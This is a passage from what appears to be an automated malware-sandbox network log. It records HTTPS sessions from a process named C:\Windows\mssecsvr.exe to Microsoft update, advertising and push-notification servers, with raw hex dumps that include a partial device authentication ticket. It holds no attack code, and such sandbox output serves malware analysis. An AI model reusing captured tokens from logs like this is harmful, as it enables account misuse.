f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:56 UTC	8939	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.7	55447	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:55 UTC	8906	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1198638650&PG=PC000P0FR5.0000000IRT&REQASID=4D736A9DA3D44005B13E152F19959C70&UNID=338388&ASID=3fd2898f786a47c297fba5fc1e416d2e&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=737f84ad2bf940a7a82a55a5604f8b39&DEVOSVER=10.0.17134.1&REQT=20220720T173048&TIME=20220721T023128Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:56 UTC	8907	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: d2dc2c04-3467-44ca-9c25-40ab8a9bd6d9 Date: Wed, 20 Jul 2022 17:32:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.7	55471	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:56 UTC	8907	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1198638650&PG=PC000P0FR5.0000000IRT&REQASID=4D736A9DA3D44005B13E152F19959C70&UNID=338388&ASID=3fd2898f786a47c297fba5fc1e416d2e&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=737f84ad2bf940a7a82a55a5604f8b39&DEVOSVER=10.0.17134.1&REQT=20220720T173048&TIME=20220721T023131Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:56 UTC	8943	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: eb22cb32-e6bc-40b7-95fc-22ba9862f42f Date: Wed, 20 Jul 2022 17:32:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.7	55771	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:33:01 UTC	8943	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:33:01 UTC	8943	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: ea31c80a-83f7-4feb-ab3f-e05b0e021756 MS-RequestId: 43e45aef-f4bc-48b6-bd66-c1e4812718be MS-CV: GDFFIrCjFkCqlSSm.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:33:00 GMT Connection: close Content-Length: 35877
2022-07-20 17:33:01 UTC	8944	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:33:01 UTC	8959	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:33:01 UTC	8975	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.7	55774	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:33:02 UTC	8979	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:33:02 UTC	8979	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: c8be094d-2895-492a-84f9-b0ca743d6d7f MS-RequestId: d681ba19-8433-4f08-81ac-f9c2e0ece5a5 MS-CV: yvQvOVRCQkCNtgqv.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:33:02 GMT Connection: close Content-Length: 35877
2022-07-20 17:33:02 UTC	8980	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:33:02 UTC	8995	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:33:02 UTC	9011	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.7	56276	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:33:08 UTC	9015	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 35 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 64 64 66 32 37 62 66 39 37 61 62 31 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 245Context: aeddf27bf97ab13
2022-07-20 17:33:08 UTC	9015	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:33:08 UTC	9015	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 64 64 66 32 37 62 66 39 37 61 62 31 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 43 Data Ascii: ATH 2 CON\DEVICE 1013Context: aeddf27bf97ab13<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uRC
2022-07-20 17:33:08 UTC	9016	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 38 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 64 64 66 32 37 62 66 39 37 61 62 31 33 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 28Context: aeddf27bf97ab13
2022-07-20 17:33:08 UTC	9016	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:33:08 UTC	9016	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 58 42 38 6b 75 30 6f 4f 45 53 66 7a 4f 65 4e 79 6f 7a 51 63 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: bXB8ku0oOESfzOeNyozQcw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.7	56360	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:33:09 UTC	9016	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 66 31 62 64 32 39 64 31 63 38 33 64 61 34 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 4f1bd29d1c83da41
2022-07-20 17:33:09 UTC	9016	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:33:09 UTC	9017	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 66 31 62 64 32 39 64 31 63 38 33 64 61 34 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: 4f1bd29d1c83da41<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:33:09 UTC	9018	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 66 31 62 64 32 39 64 31 63 38 33 64 61 34 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 4f1bd29d1c83da41<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:33:09 UTC	9018	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:33:09 UTC	9018	IN	Data Raw: 4d 53 2d 43 56 3a 20 7a 64 44 63 79 62 6b 50 4c 55 69 77 4e 78 52 7a 70 42 55 70 77 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: zdDcybkPLUiwNxRzpBUpwQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.7	58449	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:33:38 UTC	9018	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 30 31 32 63 63 65 64 36 34 35 35 38 35 34 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 2012cced6455854e
2022-07-20 17:33:38 UTC	9018	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:33:38 UTC	9018	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 30 31 32 63 63 65 64 36 34 35 35 38 35 34 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: 2012cced6455854e<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:33:38 UTC	9019	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 30 31 32 63 63 65 64 36 34 35 35 38 35 34 65 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 2012cced6455854e
2022-07-20 17:33:38 UTC	9019	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:33:38 UTC	9019	IN	Data Raw: 4d 53 2d 43 56 3a 20 70 32 77 6d 4f 74 2b 48 78 55 2b 68 55 4d 6d 37 76 68 67 38 35 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: p2wmOt+HxU+hUMm7vhg85g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.7	61624	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
